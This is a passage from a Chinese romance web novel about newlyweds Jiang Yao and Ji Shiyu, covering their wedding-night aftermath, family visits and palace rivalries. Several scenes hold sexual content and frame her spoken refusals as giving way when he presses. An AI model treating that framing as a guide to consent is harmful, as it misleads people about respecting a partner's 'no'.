江曜兀自将姬时语翻了个面,他抬起小姑娘纤细的腰肢,直视她泛粉的玉肌。
掌心一个用力,便将她送到了自己的唇边。
被江曜咬住红润的刹那,姬时语唇间再忍不住叮咛。
他知晓她吃不住什么,小姑娘全身上下最娇柔可爱的地方,他轻轻吻着,便就这么安抚她。
“嗯……不行……放开。”
姬时语还想
挣扎,双手却十分无力。
江曜太懂如何令她欢喜雀跃,她嘴里说着抗拒的话,可身子已是主动递去给他。
想他吻得更深。
不一会儿,姬时语亦是动了情,眼眸水灵灵的亮。
一双藕臂挂在江曜脖上,唇里哼着不知所谓的调儿。
江曜的手缓慢滑落,他又去触碰姬时语。
谁知这回,姬时语却惊叫喊了一声,眼角蓄起眼泪,她哭喊说:“哥哥,好/疼。”
江曜心知不能再继续了。
昨夜承_欢一整晚,他抱着她在床榻弄了两回,又去浴房水里折腾一番,路上便也没放过她。
是真累坏了姬时语。
姬时语呜咽委屈:“你弄_疼我了。”
“不欺负你。”
江曜抱紧姬时语,他从她身上磨蹭抬首,寻到她娇嫩的唇瓣,一吻含住,勾着她亲吻。
“阿锁好乖,昨夜那么难的事,你也未昏过去,一直撑到等我一起。明明自己几回眼皮打颤,想困顿睡去,还要强撑着,阿锁也想和我度过最好的新婚夜,可是?”
“嗯……”
姬时语被吻得气喘吁吁,小脸羞红,她垂眸之时,泪水将将褪去,很是惹人疼爱。
“我死也不会放开你的。”
江曜心中好满足,他说了句:“阿锁,好喜欢你。”
两人在红帐之中亲吻温存,良久姬时语才得了些力气,推搡江曜的胸膛,作势要起床。
素手撩开床榻旁的朱红帷幔,屋外竟一片明亮。
艳阳日头自窗棂透进屋子,姬时语心中便是一记激灵。
瞧着半分不是清晨,更像是午时。
“几时了?”
“应是不早。”
江曜的手还在她柔滑的肌肤上抚过,他爱不释手,眼也舍不得挪开。
她如斯漂亮的模样,看得他眼馋不已。
尤其是昨夜闹得厉害,江曜几乎是随心所欲在姬时语身上落下诸多红_痕。
这会儿映在小姑娘雪白的酮体之上,美得惊人。
姬时语一眼便察觉江曜直勾勾的眼,她脸红飞快环臂抱住自己,没好气地哼哼。
“还不起身?”
忆起这是新婚之后的第一日,姬时语眉眼染起焦灼,“我们还要去给父王晨昏定省,今日已是大迟了,你怎就不着急呢。”
“慌什么?”
江曜不急不缓起了身,他语气平稳道:“父王不会苛责我们,安心吧。”
“说的话总是那样好听,哼!”
姬时语还在怨怪江曜,可一瞥头便见那头少年已着好亵裤,上身还没来得及穿戴。
裸_露的后背正巧呈现在她眼前。
六年前,姬时语曾见过十三岁遍体鳞伤的江曜。
那时的他后背布满血淋淋的伤疤,新旧伤混杂,暗红与浅红交错,引得姬时语心疼他,掉了眼泪。
而今再见江曜的后背。
那些伤已好的大全,褪去结痂之后,暗红褪去大半,余下浅红零落在洁白的皮肤。
姬时语再多看了一眼。
这一下,莹白的面皮是彻底红透。
江曜的肩膀,近肩头的那块微鼓的肌肉,落着几道新的抓痕。
好似是昨夜她不受抑制,撕_裂痛时,叫着便在他身上抓挠狠了,也就落下伤疤。
姬时语莫名有了心虚之感。
“哥哥。”
“嗯?”
听得小姑娘在床里温温柔柔喊自己,江曜想要回头,然而姬时语却先一步抱上他身。
圈住他劲瘦的腰,她哼动几声。
小脸微动,蹭在他稍凉的后脖颈上,无比亲昵地撒娇。
“哥哥,你疼不疼?”
姬时语抬起手,指腹轻缓地揉在她抓挠出的痕_迹。
她意有所指,抱着江曜便难为情地埋头。
“我不疼。”
江曜说的一本正经,且十分认真,“你亲我、咬我,那都是喜欢我,我说过的,在我身上你做何事都好。”
“讨厌,你怎么能说这样的话?”
姬时语真赛不过江曜的厚脸皮,她素来脸皮薄,被江曜逗_弄一两句,便是红霞一片。
“你不愿意说,还不肯让我说?阿锁,同你说实话,你若想杀我,我会亲手带你握着刀刃,捅进我心里。”
“才不要,我不要杀你!你也不许动这等心思。”
姬时语后怕的抱紧了江曜,她亲上少年的脖子。
一个重重的吻,便止住江曜凝起的阴郁。
“这样也不要,那样也不要。”
江曜轻笑起来,“那你想怎样?”
“我想抱着你。”
姬时语后趴着,伏在江曜肩窝笑盈盈的,她又跪在床间,直起脖子,柔柔地亲吻江曜的侧脸。
小姑娘俏生生道:“还要亲夫君。”
身后娇俏的妻子还未着衣,便这么贴着他撒娇,她是无心之举,却令江曜忽的沙哑了声音。
被她勾得一早上便有些难以自控,若非姬时语喊过几回疼,江曜真要转身将她摁回床里。
“阿锁不是很疼?”
“嗯……我疼。”
“哪儿?”江曜回问。
“你说哪儿?莫非要我亲口说出来?真讨厌,你这个坏东西!”
姬时语闷声怪他起来,“这都何时了,不准你再胡闹!”
“这话该我问你,还闹不闹了?”
江曜回过身来,他站立于床边,姬时语仍还在跪着,这般之下,需得仰望着他。
“阿锁这副模样还要同我闹,看来今日不想出屋了。”
他的一只手握住了姬时语的腰,他的手一摇,姬时语浑身便跟着一颤。
“不要!”
姬时语后知后觉,一张脸羞红,她立马摆脱他手,卷起被褥将自己裹得严严实实。
“我去给你取药。”
江曜没强/留她,反而披上外衫,亲自为自己穿戴齐整后,便朝外室而去。
这回两人是真的没再胡来。
江曜出屋便唤来萍亭与萍柳入内,而跟随两人身后的,还有两位眼生的丫鬟。
“王妃娘娘。”
萍亭率先改口,上前便伺候姬时语起身。
萍柳在旁与姬时语说道,楚王府拨来一批下人伺候新晋的楚王妃。
这两位丫鬟一个叫灵犀,一个是巧儿,曾在主院侍奉过老楚王,规矩得当,又得主家信任。
“王爷身边无近身丫鬟伺候?”
回姬时语的是灵犀,她梳着楚王府一等丫鬟发髻,恭敬行礼。
“回王妃,小王爷不喜身边有人近身,院中除开林一大人等人,只有两位小厮,帮衬收罗书房等屋子。”
姬时语听得微微发愣,想到刚江曜是独自更衣,她有些明白了。
这是她
第一回亲见江曜的起居。
在忠义侯府思芳院的那些日子,她去时江曜早便起身多时,是以她不知情。
给江曜拨去的丫鬟,他是一个也未用过,全使唤成了扫地丫鬟。
“王妃娘娘,奴婢与巧儿与萍亭萍柳姑娘相当,随身伺候您。”
灵犀又道:“而寻阳院余下的二等、三等丫鬟共有十五位,王爷吩咐过,奴婢等尽数听后您的差遣。”
“知道了,之后我再一一见,先各人不动,各司其职吧。”
“是。”
灵犀与巧儿乖顺的退去外室候着。
而这面萍亭与萍柳服侍姬时语换上干净的衣裙,萍柳瞧见那些被遮盖不见的红_痕,甚是惊恐。
几番思量后,萍柳还是欲言又止。
江曜折返归来,便挥手让几个丫鬟退下。
萍亭与萍柳只得出屋。
“你作何让她们都走了?我的发髻还未梳好呢?”
姬时语秀眉一蹙,她不解瞪过来,“再让父王等久了,父王的身子哪里受得住。”
“阿锁。”
江曜那双狐狸眼一挑,里头意味不明,深意层层叠叠。
他道:“你是要我当着外人的面,来给你涂这个?”
江曜自袖间取出一方药膏,明晃晃的摆在姬时语的面前。
这物什姬时语熟悉的很。
上回在暗室两人闹过头,第二日江曜为她上药涂抹的,亦是用了此物。
“你也给我出去!”
姬时语顿时
羞恼,扬声便不愿,她伸出手要抢药膏,“我自个儿可以抹,不要你帮我。”
“不行。”
江曜举高手臂,偏就不让姬时语够着。
他另一只手还攥住她的腰,将人搂抱在怀中。
“阿锁,你不让我来,偏要自己,可你的手哪儿有我的长,如何涂抹?到时若是好不起来,你是要我将新婚便独守空房吗?”
“江曜!”
“阿锁,可不能对我这般残忍。”
“你就该去睡书房……”
姬时语满脸羞赧褪不下去,一双猫瞳秋波连连,被江曜一通鬼话说的无力辩驳。
她这副半推半就的模样,看在江曜眼中,便是准许的意思。
江曜便轻轻一推,将姬时语推倒在柔软的被褥中,抬手又去拢起她的衣裙。
瞧她浓密黑长的睫毛眨动个不停,小脸娇美,是多紧张又害羞,江曜真忍不住想多欺负她一分。
“我们是夫妻,你得早些习惯同我亲近啊。”
“谁知道和你亲近是每日每夜都要……!”
姬时语好生控诉,江曜便夺来被褥便蒙上姬时语的脑袋,他耐心哄着说。
“不好意思见,那便挡着脸好了。”
“呜……你怎么这样讨厌啊……”
“乖,是为了让你好得快,不疼的。”
姬时语抗拒不得,她将脑袋蒙起来,像掩耳盗铃似得。
而后任由江曜摁着她的腰,上了许久的药。
江曜已弄清楚小姑娘的心思,她是害羞脸皮薄。
每回说不要,可只要他强硬一分,姬时语便会由着他。
闹归闹,她喜欢他,便也喜欢他百般对待于她。
江曜没敢将姬时语惹疼了,好不容易将药上完,两人俱是生起薄薄的一层汗。
胡闹就此止步。
江曜从桌边执起软帕给姬时语擦拭额头,又将她的衣裙理平整。
若非她红润的脸蛋,外人真看不出两人方才做了何事。
“阿锁,夫君抱你起身。”
江曜爱怜地亲吻她如浸过水明媚的眼睛,而后便搀扶姬时语从床里下地。
萍亭与萍柳终听到屋里的传唤,江曜命两人为姬时语梳头。
灵犀与巧儿便跟在后瞧看着。
两人皆为楚王府的家生子,自小便在王府伺候。
不光见识过楚王府的风风雨雨,亦知晓小王爷脾性冷漠,目中无人。
可今日一见,楚小王爷长身玉立,候在梳妆台旁,一双狐狸眼紧锁在王妃俏丽的面容。
那张清冷的容颜隐隐有几分温柔和平和。
两个丫鬟惊奇地想。
小王爷很爱王妃娘娘啊。
第134章
两人终从寻阳院而出时,已用过午膳。
日上高头,好在九月的天并不那么燥热。
“竟都这个时候了……”
姬时语尤感荒唐。
谁家新嫁娘新婚第一日便起得这样晚,想到还要面见江曜的父王,她心生难耐之意。
“无碍的,有我在,你还担心父王怪罪你?”
江曜却牵住她的手,另一只手臂挽住她的腰,稳稳将人托抱住。
昨夜被折腾的厉害,即便早上苏醒已上过药,可双腿还是不免酸痛,那股微微撕_裂的感觉消散不少。
是没忘江曜情浓之时,该有多凶狠。
他总压抑不住,房事上的举止温柔不起来。
姬时语怨怼的眼,还是瞪过来。
“还说呢?”
她拧拽江曜的手,怪他:“我走的这样慢,不都是你的错?”
江曜抿唇扬笑,“那便慢慢走去。”
这一路上,自寻阳院穿行青石路,来到主院之前的游廊,两人相携而过。
江曜顾及姬时语身子不爽利,脚步亦放的极慢。
便就磨磨蹭蹭去了一刻钟,两人方来到楚王府的主院,是为新婚过后前来拜见王府的长辈。
江曜喊过院门前侍奉的下人,命人进院传报。
不一会儿,楚王跟前伺候的小厮便领着二人入内,江曜旋即揽住姬时语的手,引她进屋。
主院的正堂,楚王已在等候。
“父王。”
江曜随同姬时语先行问安。
“你们来了。”
今日的楚王一扫病体灰白,是换上一身亲王滚边暗花冠服。
他端正坐于上首,俯视缓步入内的一对新人,心中感慨万千。
听得楚王短短四个字,姬时语微微脸红,是害臊的,她垂首便补道。
“儿媳来为父王奉茶。”
楚王温和点点头,“好。”
灵犀识趣的自院外丫鬟手中接过端盘,将一杯热茶奉至姬时语的手边。
姬时语恭恭敬敬执起茶杯,便要在楚王身前弯下双膝,跪地行礼。
可突然,江曜攀住她下坠的腰肢,没让人跪下去。
姬时语讶然一顿,睨江曜道:“夫君?”
江曜并未望他,而是平静地看向楚王,他道:“父王,地上凉,阿锁身子骨本就弱,还是免了跪礼吧。”
楚王一双平和的眼便朝向江曜,端望了许久。
眼前这个亲生儿子,如白流一模一样的清冷,心中颇有主见,是他这个父亲也动摇不得。
为了迎娶姬时语过门,楚王费尽心思,甚至于不惜将自尊踩碎成七零八落。
终于还是将姬时语这个儿媳,迎入王府的大门。
他的儿媳姬时语一袭湘色短袄,其下绫锦海棠马面裙,发髻挽起,面容姣美明媚。
而如愿迎娶姬时语后的江曜,一改往日的墨色长袍。
他身穿一件月白流云纹锦袍,腰间玉带系有朱红的穗子,是为与他妻子那身湘色,相得益彰。
这对新婚璧人,眼神深切,彼此贴心。
光是端看望着,楚王便能感触到两人之间那股,不得被外人打破的情愫。
一刹那,令楚王想起已逝去的白流。
“曜儿得了倚玉之荣,也懂得该如何心疼妻子。”
楚王叹了口气,有些无奈笑笑道:“罢了,时语不必跪着,将茶端来给父王吧。”
“父王请。”
姬时语便上前弯腰福礼,手中那被热茶抬到了楚王身前。
楚王接过茶,轻抿了一口后,又朝身边的下人睇眼。
一张红封便塞入姬时语的手中,还不等姬时语惊诧,楚王已爽朗笑起来。
“时语既已嫁入王府,往后这儿便是你的家,不必多礼。平日我和曜儿的祖父不太出院,王府之大,上下还需得你这个楚王妃来打理。”
姬时语很是无可奈何。
她才请安奉茶,这执掌楚王府中馈的钥匙,便送到了她的手上。
楚王放权可是太早了些?
但已执了钥匙,姬时语便言笑谢道:“儿媳定会尽心尽力。”
“那便再好不过。”
“父王,儿媳还有一样物什想送给您。”
姬时语不忘让萍亭取来自己织做的一双软面护膝。
她自知绣活不精,思来想去给楚王不知送何物才好,后便起了心思做保暖的护膝。
“听夫君说,冬日父王膝盖生寒,日子也入了秋,近了冬季,这是儿媳的一番心意,还望父王收下。”
楚王与寻常人家不同,他此生本就没指望能喝到儿媳的热茶。
对江子墨,他生不起当父亲的心,自始至终便没上过心,更没想过盼望江子墨娶妻成亲。
可是后来,王府寻回江曜,楚王的心真活络起来。
而今他的儿媳姬时语,笑意盈盈的捧着一双护膝,送到他的手上。
这等被人体恤的心意,楚王备受感动。
“好,好,你有心了。”
因此,楚王望两个孩子的眼更是喜爱,便又当场摊开护膝往两处弯起的膝盖套了上去。
不大不小,正正好合适。
楚王生出笑容,又不住夸赞姬时语两句。
见楚王是真心喜爱,姬时语荡开轻笑,心头真也松口气。
在这时江曜搂紧她的腰,将人带到身侧,他同楚王说道:“父王,那我们先告退了,我和阿锁还要去拜见祖父。”
“好,去吧。”
江曜便
领着姬时语退离了主院。
自老楚王退下爵位,交由楚王承袭之后,便从王府的东院搬离,住进了西院偏远的院子。
两人再度绕回游廊,脚面迈过木阶,姬时语踩上石子地,问江曜话。
“祖父为何要住在西院?”
青葱浓郁的绿树成荫,姬时语走过这片杏花林时,忽的想起春日来到王府参宴,曾见过的雪色如云,群芳争艳。
姬时语笑道:“怕不是祖父喜静,又喜花?”
“你喜欢杏花?”
江曜顺着姬时语的眼看过去,再得了姬时语一句“不是”过后,他平缓解释道:“这片杏花林,我听说是我父王种植的,迄今已生长了二十多年。”
“竟这样之久……楚王喜欢杏花?那我下回是可以投其所好了。”
姬时语还在默默低语,江曜握紧她的手,揉了几下,他又说:“喜欢杏花的是我母亲。”
这一下,换姬时语呆若木鸡。
“我早便知晓她极喜爱杏花的,小时候住在村里,记忆不多深刻。但依稀记得,有一回我的生辰,她不知上哪儿采了一捧杏花回来。只可惜还没等到杏花凋谢,她却死在了水里。”
江曜的眸子平静无波,好似这些往事从来与他无关。
话语却入姬时语的心,她的心无端密密麻麻的疼。
是心疼江曜那些年不为人知的苦日子,也是心疼他还那么小,脑中记住的。
竟会是那么一枝杏花。
“哥哥!”
姬时语再忍不住扑进江曜的怀里,她抱紧他的腰,小脸蹭上他的肩窝。
她因心疼他,眼角隐有泪,但还是埋头蹭蹭他,“夫君,往后还有我呢,我会一直陪着你的。”
“阿锁的这句话真动听啊。”
“我才不是哄你,我是真心话,从前你流落在外的日子我无从陪伴,伯母那时身陨,你无能为力,任谁也无能为力。”
“我娘身死,我早就坦然。”
江曜轻声道:“阿锁,你不必担心我的。”
“我怎会不担心你?无人会不在意在乎之人的生死,没有人。”
姬时语说的大声,她伏趴在江曜的胸膛之上,听他胸腔的震动,却十分不平静。
“你非草木,那时候的你再年少,也早已能记事。你说你不记得,可那捧杏花,你说起来却那样清楚。”
江曜的浑身一震。
姬时语微有哽咽:“夫君,让我心疼心疼你,好吗?”
江曜有一瞬间的茫然。
为姬时语的话。
小姑娘很懂得他的心,短短一刹便察觉他情绪落于何方,又以她的法子,给予他无尽的温暖和抚慰。
江曜如何能不爱她?
“当然,从今往后,你是我的妻子啊,死也是我的人。”
江曜固执地握住她的腰,将人抱的更紧,“这个世上,最配心疼我的,就是我的阿锁了。”
“好。”
姬时语圈住江曜,是任他的双手禁锢住自己。
即使江曜嘴里说着怖人的话,要与她一同死去,也不罢休,可姬时语心中再不会动摇。
她知道,她愿意的。
随他如何吧。
只要两人在一起,再难的世事皆可过去。
她爱他。
只知道这件事是真心万确的。
……
老楚王的明月轩,两人用了两刻钟方才走到。
姬时语的额上已是晒出一层薄汗,她从袖里掏出帕子押了押,复而同灵犀说了句。
“去禀报老王爷吧。”
灵犀和巧儿很是熟悉明月轩,路上两个丫鬟便告知姬时语,两人曾在这地儿当值过一段时日。
是以当灵犀领着姬时语入院时,老楚王立在一方池塘边,望来的眼里并不惊讶。
江曜喊:“祖父。”
“请安的话不必再说,你们跑来我这儿,我看是折腾我这把老骨头的,我可是连午觉也没睡得。”
老楚王吹着胡子,姬时语窘迫便要解释:“祖父,我们是……”
“唉,曜儿你也看看,我养的这几只鸭子可是大了些?我瞧着好像没喂饱一样。”
老楚王直愣愣的视线便在池水中,一排犹然自得嬉闹的小鸭子身上未移开过。
姬时语挑眼一望。
池水清幽,鸭子戏水,几只互相攀咬扑哧扇动水花,老楚王哈哈大笑。
姬时语问:“祖父,这些是您养的?”
“是啊,孙儿媳妇可认得出?我这养的绝非寻常鸭子,外头都叫什么,叫绿额红掌,总而言之,才不一般呢!”
老楚王说的骄傲,姬时语左看右看,也没瞧出水中鸭子与往日见的有何分别。
姬时语看向江曜,那面江曜回望过来,同小姑娘笑了一声。
“不过你们来的也是个时候。”
反而老楚王还在吩咐灵犀和巧儿,“灵犀、巧儿,你们去帮着去喂一喂我的鸭子。”
“是。”
两人丫鬟福礼,得了令便往侧屋而去。
再折返时,两人手中各捧来一只木碗,摆着数只细小白白的小鱼。
手在碗中搅拌几下,便抓抛几只丢入池中。
姬时语还在兴味地注视,老楚王背后而立,慈爱笑道:“孙儿媳妇不知道,我这院子不光养鸭子,还养鸡仔,可惜春日那一窝没得活,不然还能引你见识我的鸡窝鸭窝。”
“祖父为何不由着鸭子吃水中的鱼儿?”
“那可不行啊!我池里的鱼是养着的,吃了我上哪儿在找新的去?”
姬时语忍俊不禁,老楚王这番在王府闲来养些鸟啊、鱼的,还真是怡然自得。
“来来来,你们今日来了,便带些东西再走。”
老楚王朝两人招手,示意随他过去。
江曜便大步跟上。
姬时语紧随其后。
“早些年,曜儿的父亲迟迟未成婚,我便做主为他纳了胡氏,那时我只想着楚王府不能绝嗣,便逼着他生吞许多委屈。”
老楚王背着手,佯装无意,说着旁话,“后来尽管知晓子墨并非楚王府的亲生骨肉,我也没阻拦,直到曜儿被寻回,我才知原来他早和白家的姑娘情深根种。”
江曜道:“祖父是后悔了?”
“是啊,我是悔不当初,人一生哪能没犯下过错事,若我当时多关切你父亲一时,兴许不会酿下大患了。”
老楚王声色幽幽,像传去了很远的地方。
江曜又说:“祖父,都过去了。”
然而老楚王只是轻轻摇了摇头。
“如今王府已有新的楚王妃,往后的日子才是令人心生期待啊。”
良久,老楚王看向了姬时语,慈爱不减,“曜儿,你定要好生照顾时语。”
江曜颔首。
明月轩的屋子不大,仅有两处。
主屋与侧屋并齐,但院中的空地尤为偌大空旷,除却池塘,还劈出一片肥沃的土地。
老楚王便在此处种满菜。
立起的竹竿爬满了弯弯绕绕的叶苗,顺着木杆而下的,是一眼望去满目葱绿的缸豆与豆角。
萍亭与萍柳端着竹篮,老楚王一抓一丢,两个丫鬟在旁接下菜地刚经老楚王手采下的蔬果。
因着喜欢两个孙辈,便送多了些,只将竹篮盛得满满当当,老楚王的菜地也才摘去了半处之多。
“这可是我亲手种的哩,外头吃不到啊!”
老楚王颇为骄傲。
他还说着,往后菜地蔬果多时,他让人送去大厨房,再给两人加菜品尝。
从明月轩离去,姬时语心生轻快,唇角带笑。
“哥哥,我倒是知道,为何父王要早早将中馈钥匙交给我了。”
“嗯?”
江曜牵着她柔软的手,两人便缓慢往寻阳院而归。
“父王管不了事,他拿着不妥。”
姬时语笑道:“祖父又是素爱种菜养鸟,一副颐养天年的模样,更不好插手王府琐事。”
“却也不错。”
“啊,难怪父王偏要为你请封,顺势让你当上楚王。”
姬时语摇头笑笑:“合着父王和祖父,都不大愿意管事,府上才来的清闲至极。”
“王府少不了女主人,因而还得让楚王妃多多担待了。”
江曜将手心递去她眼前,他那双狐狸眼带了笑意,他还说了真切的话,“往后你只管放手去做,王府大大小小的事,皆有你说了算。”
“你也要让我能做主吗?”
“嗯。”
他应她,“再不济,万事都有夫君在。”
江曜的担保,于姬时语是一道郑重的承诺。
她浅笑弯弯明眸,随即将手指递到了他的手中。
……
掌管楚王府并非一件易事。
在拿到王府中馈钥匙之后,姬时语本信心满满的命灵犀去传唤管家,她吩咐管家将王府近几年的账簿取来给她过目。
管家应后,竟是抬了一大箱子入寻阳院。
只翻开一本,姬时语便被密密麻麻的字,扰得头疼不已。
看多了眼又生痛,而一个时辰过去,她是连一本账簿也不曾看罢。
姬时语方才了悟,舒氏身为忠义侯府的主母,执掌偌大侯府,是该有多能耐。
三房加起多少人丁,这般之下舒氏竟将府上打理的井井有条。
姬时语由衷地敬佩起舒氏。
因隔日还需入宫拜见弘文帝,萍亭特意走来叮嘱道:“王妃,今日还是莫要太劳累,明日需得早起入宫。”
姬时语瞥去一眼,窗外日落西山,不知不觉她竟坐了一下午,顿感肩膀疼痛。
放下账簿,姬时语喊了丫鬟入内。
“伺候我梳洗吧。”
萍亭应:“是。”
灵犀和巧儿换下一盆温水后,来喊姬时语,便起身去了浴房。
沉沉没入水里,萍柳取来夷子擦拭姬时语裸_露在外的肩头。
她动作很轻,为着零落在玉白肌肤之上的吻_痕,萍柳根本不敢大力。
只是随着夷子擦拭而过,这吻_痕是越见越多。
姬时语也被弄得稍许疼痛,嘶地出声。
萍柳叹了口气,劝得说道:“王妃,您该和王爷说说这事……”
萍亭捞出姬时语的手臂,轻轻揉揉她的小臂,见得红_痕齿印,眼中多了怜惜。
低声的,萍亭喃喃:“王妃。”
“我没事的。”
姬时语不愿两个丫鬟担心,沐浴过后便起身擦干净身上的水,更换一件新衣,回屋躺回榻上。
靠着一会儿,姬时语困得便闭合起眼,脑袋一歪。
江曜回屋时,夜已有些深。
就着微弱的烛光,江曜望到小姑娘蜷缩在美人榻中,身上只盖了一层单薄的软被。
那被子眼见便要垂落在地上。
江曜大步走去,长臂穿过姬时语的腿弯,是要将人抱起。
他一动,姬时语便是一声叮咛。
迷迷糊糊的,她寻着热气环抱住他的脖子,脸蛋也软软地蹭在他身上。
反复撒着娇,嘴里还在嘟囔,“哥哥不许再欺负我了,疼的……”
“今夜不欺负你。”
江曜抱着姬时语回了床榻,他为她掖好被子,回身去浴房简单梳洗一番,便褪去衣衫钻入姬时语的被里。
长臂一伸,又将温香软玉拥入怀中。
嗅着扑鼻的玉兰花香,江曜裹紧手间柔软的腰肢。
姬时语被他缠得紧,微有不适之感,她迷糊的哼了两声,手下意识地推动他的大掌。
奈何他的手如铁链,系在她的腰上,挪不开。
姬时语带了几分气恼,“你去睡书房,不许闹我了。”
“不闹你。”
江曜倾身贴上她的后背,这回连头颅也缠绵蹭上她的乌发。
两人连头发丝也搅在一块,缠缠绕绕,卷得紧密。
他不提要去书房的话。
是要与她厮磨着,睡过去。
姬时语的呼吸渐渐绵长,熟睡过去的她已管不了那般多了。
江曜便放任自己,全然裹上姬时语的身,沾染满她的味道。
紧紧的。
……
翌日,姬时语被早早唤醒。
掀开眼皮,床外有响动的声响,是江曜刚起身正更衣束发。
他瞥眼,见姬时语睁开眼,便传唤屋外候着的丫鬟们入内室。
整装梳洗一刻钟,姬时语被搀扶上王府的马车。
弘文帝有旨,两人大婚的第二日,需入宫面见陛下,这亦是对楚王府的看重之意。
因此姬时语不得怠慢。
上了马车姬时语还是困顿,是哈欠连连。
“再歇息会儿。”
“哥哥。”
江曜让她靠上他身,再补片刻的眠。
马车缓缓停靠在宫门前,姬时语拍拍脸颊,命自己瞪大眼来,随后与江曜走下马车。
而甫一入宫,两人便穿行过甬道,往乾清宫走去。
彼时乾清宫当值的宫人们早知楚王与王妃今早要来,待两人到时,便有人自发入内禀报太监总管曹云。
不多时,曹云出宫迎两人入内。
“杂家参见楚王与王妃娘娘,陛下传二位入殿,请。”
姬时语与江曜便迈步入了太和殿。
石阶层层叠叠之下,弘文帝坐在高处,静静俯视二人入殿。
江曜领着姬时语拜礼。
“参见陛下,陛下万岁万岁万万岁。”
“平身,赐座吧。”
为表敬重,姬时语今日发髻挽起,特意簪了一只点翠玉珠金凤步摇。
这乃弘文帝的御赐之物,她戴上发间,霎时在明艳之中点缀了贵气。
弘文帝一双虎目,端望过姬时语,再又去看江曜。
很快,威严的皇帝便笑起来,说道:“人逢喜事精神爽,这成了亲便真是不一样,云让这一身煞气是去了不少。”
“能娶阿锁是我的福气。”
江曜如实笑道。
少年清冷容貌,一身流云纹锦衣,是玉质金相的端庄。
偏狐狸眼之中的柔情,俱是给了身侧的小姑娘。
姬时语情不自禁牵紧江曜的手,朱唇荡开俏丽的笑。
那种真心不惨虚假的感情,即便是后宫佳丽如云的弘文帝,此刻看得亦是有些心头发酸。
曹云适时的走来,俯身低声同弘文帝道:“贵妃娘娘遣了人来,询问可能唤楚王妃去一趟未央宫。”
“贵妃要见楚王妃?”
“正是。”
弘文帝思量一番,便提声喊了姬时语:“楚王妃,朕还有事与楚王要商议,你先随人去未央宫,与贵妃娘娘坐坐吧。”
“是,陛下。”
姬时语起身应道。
没的犹豫,姬时语跟随曹云走出太和殿。
再一抬首,便见殿外柳贵妃宫里伺候的大宫女叶梅。
叶梅已行礼,朝前走来拜道:“奴婢见过王妃娘娘。”
曹云将人交给叶梅,笑了便说:“那杂家便不送王妃娘娘去未央宫了。”
“公公安心。”
叶梅回了句,便为姬时语引路。
走过近一刻钟,两人终是来到柳贵妃的未央宫,无需禀报,叶梅领着姬时语径直步入宫中。
姬时语迈着莲步静入,本还在闲谈的未央宫转瞬安静。
余光轻瞥,姬时语留心到,容昭仪、三皇子妃柳眉竟齐聚于柳贵妃的未央宫中。
只是睨到柳眉那张不堪的脸,姬时语惊得要摆头再多看一眼。
柳眉惊察,狠狠瞪了过来。
姬时语忙收起眼。
未管旁人,叶梅为姬时语看座,姬时语落座后,朝上一记颔首轻笑。
“贵妃娘娘。”
如今的姬时语已得一品亲王妃的册封,这后宫之中除皇后,便无人较之她身份更高。
她甚至无需起身行礼。
柳贵妃娇媚的脸换上亲切的笑来,她笑道:“本宫还要亲口祝贺一句楚王妃的,贺喜你新婚大吉。”
“多谢娘娘。”
姬时语大婚之前,曾收到过柳贵妃的添妆,宫中来的每一样她都记在本上。
柳贵妃的这份心,她自不会忘。
然而柳贵妃同楚王府再亲切,也不意味着宫中的她人便与柳贵妃同样。
容昭仪望过来的眼带着悻悻,只是还不等容昭仪开口,她身边另一位姬时语眼生的娘娘却先开了口。
“还真让人惊讶,京中谁人还不曾想过忠义侯府的小姐,竟会成了这新晋的楚王
妃,毕竟世人眼里,两位不是兄妹之间吗?这说出去了,还真是罔顾……”
德妃捂嘴一笑,话未说完,却好似已说完。
姬时语为她话感到了刺挠,秀眉蹙起便回问:“不知这位娘娘是?”
柳贵妃答道:“是德妃娘娘。”
“原是德妃娘娘,莫怪许多事弄不清楚。”
姬时语轻吟出声,她眼眸灵动,气势并不强势,但话音坚定。
“我是忠义侯府的五小姐,王爷乃是楚王府的唯一儿子,再多的,便是我已为楚王妃,娘娘可要记好了。”
柳贵妃眼里划过赞许。
姬时语是在敲打德妃,她同江曜的关系,从来便无真正的兄妹。
妄议也扯不上罔顾人_伦,非议楚王府与忠义侯府的罪名,德妃担不起。
果不其然,德妃的脸色肉眼可见的难看。
柳眉睇眼过来,眼中复杂与愤恨交织。
那厢的姬时语坐着,东珠流串打在她的耳旁。
这只发簪柳眉认得,是宫中的御赐之物。
姬时语的话动之间,那只凤凰嘴里衔着的宝珠仅轻轻的晃动。
她的规矩,学的从来不输给任何贵女。
柳眉攥紧了手心,面上不显露丝毫神情。
可是她的脸一左一右,被划开了皮肉,落下了永远不可消弭的伤疤。
是江曜所为的伤。
抚上自己落了疤的脸,柳眉满心腔的恨意。
她恨啊,她恨江曜,亦恨姬时语。
这恨意她不知几时能消,只怕此生都视楚王与王妃为死敌,绝不悔改。
双目一转,柳眉触及姬时语微翘的唇角。
她顿时忆起三皇子江承北的一番话。
那日江承北去王府参宴江曜的大婚,竟在婚房外瞥见姬时语头顶的那尊凤冠。
这顶五龙三凤发冠,乃早早存于国库之中,该赐给当今太子妃的宝物。
两位皇子当年大婚,弘文帝闭口不提凤冠,他连心思也不曾动过,更别提要赐给两位皇妃之一了。
如今,弘文帝却将昂贵的凤冠赐给了姬时语!
第135章
“也是贵妃娘娘这儿今日热闹,可巧楚王妃大婚,皇室又添了一门喜事。”
容昭仪轻笑抬眼,姬时语瞥去望她时,正巧容昭仪在注视着她,目光不明。
想到大皇子江承运的荒唐行径,姬时语凝起一双柳叶眉。
清清淡淡便回了容昭仪一句多谢。
岂料容昭仪却不是盯着她转,很快话锋便递去给柳眉,问话便起。
“唯独可怜了三皇子妃,这脸上啊……啧啧,好一张芙蓉脸,却叫歹人给毁了。真不知是何人如此心狠手辣,天子脚下,竟连个歹人也抓不到。”
“容昭仪说这话是为何意?连你也看不起三殿下?我这伤如何来的,人人清楚,你口下积些德吧,不若日后栽了跟头,你是想我也在你跟前大笑不止?”
容昭仪这夹枪带棒的,柳眉霎时间脸颊扭曲,眼里忿忿不止。
因此丝毫不客气的,柳眉便怼了回去。
姬时语暗地觑眼。
柳眉面上两道刀疤,自她双眼划拉而下,几近整张脸皆因这两道伤痕,遮盖了如花的颜色。
乍见之下,十分怖人。
“是啊,怪我多嘴,我不该说出口,让三皇子妃难堪。”
容昭仪自罚一记,幸灾乐祸的意思并未消去。
大皇子与三皇子党本就水火不容,柳眉吃瘪,高兴的自然是容昭仪。
姬时语不难怪容昭仪会当面挖苦柳眉。
“昭仪娘娘,当心些你说的话!”
